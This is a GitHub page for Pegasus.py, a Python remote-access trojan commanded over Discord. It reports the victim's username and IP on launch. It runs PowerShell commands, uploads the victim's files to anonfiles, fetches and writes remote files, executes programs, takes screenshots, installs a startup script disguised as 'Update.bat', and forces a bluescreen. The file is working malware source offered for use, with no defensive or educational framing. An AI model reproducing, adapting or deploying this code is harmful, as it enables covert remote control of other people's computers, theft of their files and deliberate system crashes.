-
Notifications
You must be signed in to change notification settings - Fork 4
/
Pegasus.py
139 lines (121 loc) · 5.55 KB
/
Pegasus.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import os, discord, subprocess, requests, pyautogui ,ctypes , sys
from dotenv import load_dotenv
load_dotenv()
login = os.getlogin()
client = discord.Client(intents=discord.Intents.all())
session_id = os.urandom(8).hex()
guild_id = ""
commands = "\n".join([
"help - Help Command",
"ping - Ping Command",
"cd - Change Directory",
"ls - List Directory",
"download <file> - Download File",
"upload <link> - Upload File",
"cmd - Execute CMD Command",
"run <file> - Run an File",
"screenshot - Take a Screenshot",
"blue - DeadScreen",
"startup - Add To Startup",
"exit - Exit The Session"
])
def startup(file_path=""):
temp = os.getenv("TEMP")
bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % login
if file_path == "":
file_path = sys.argv[0]
with open(bat_path + '\\' + "Update.bat", "w+") as bat_file:
bat_file.write(r'start "" "%s"' % file_path)
@client.event
async def on_ready():
guild = client.get_guild(int(guild_id))
channel = await guild.create_text_channel(session_id)
ip_address = requests.get("https://ipapi.co/json/").json()
data= ip_address['country_name'], ip_address['ip']
embed = discord.Embed(title="New session created", description="", color=0xfafafa)
embed.add_field(name="Session ID", value=f"```{session_id}```", inline=True)
embed.add_field(name="Username", value=f"```{os.getlogin()}```", inline=True)
embed.add_field(name="IP Address", value=f"```{data}```", inline=True)
embed.add_field(name="Commands", value=f"```{commands}```", inline=False)
await channel.send(embed=embed)
@client.event
async def on_message(message):
if message.author == client.user:
return
if message.channel.name != session_id:
return
if message.content == "help":
embed = discord.Embed(title="Help", description=f"```{commands}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content == "ping":
embed = discord.Embed(title="Ping", description=f"```{round(client.latency * 1000)}ms```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("cd"):
directory = message.content.split(" ")[1]
try:
os.chdir(directory)
embed = discord.Embed(title="Changed Directory", description=f"```{os.getcwd()}```", color=0xfafafa)
except:
embed = discord.Embed(title="Error", description=f"```Directory Not Found```", color=0xfafafa)
await message.reply(embed=embed)
if message.content == "ls":
files = "\n".join(os.listdir())
if files == "":
files = "No Files Found"
embed = discord.Embed(title=f"Files > {os.getcwd()}", description=f"```{files}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("download"):
file = message.content.split(" ")[1]
try:
link = requests.post("https://api.anonfiles.com/upload", files={"file": open(file, "rb")}).json()["data"]["file"]["url"]["full"]
embed = discord.Embed(title="Download", description=f"```{link}```", color=0xfafafa)
await message.reply(embed=embed)
except:
embed = discord.Embed(title="Error", description=f"```File Not Found```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("upload"):
link = message.content.split(" ")[1]
file = requests.get(link).content
with open(os.path.basename(link), "wb") as f:
f.write(file)
embed = discord.Embed(title="Upload", description=f"```{os.path.basename(link)}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("shell"):
command = message.content.split(" ")[1]
output = subprocess.Popen(
["powershell.exe", command], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE
).communicate()[0].decode("utf-8")
if output == "":
output = "No output"
embed = discord.Embed(title=f"Shell > {os.getcwd()}", description=f"```{output}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("run"):
file = message.content.split(" ")[1]
subprocess.Popen(file, shell=True)
embed = discord.Embed(title="Started", description=f"```{file}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("exit"):
await message.channel.delete()
await client.close()
if message.content.startswith("startup"):
await message.reply("Ok Boss")
await startup()
if message.content.startswith("blue"):
await message.reply("Attempting...", delete_after = .1)
ntdll = ctypes.windll.ntdll
prev_value = ctypes.c_bool()
res = ctypes.c_ulong()
ntdll.RtlAdjustPrivilege(19, True, False, ctypes.byref(prev_value))
if not ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(res)):
await message.reply("Blue Successful!")
else:
await message.reply("Blue Failed! :(")
if message.content.startswith("screenshot"):
screenshot = pyautogui.screenshot()
path = os.path.join(os.getenv("TEMP"), "screenshot.png")
screenshot.save(path)
file = discord.File(path)
embed = discord.Embed(title="Screenshot", color=0xfafafa)
embed.set_image(url="attachment://screenshot.png")
await message.reply(embed=embed, file=file)
client.run('')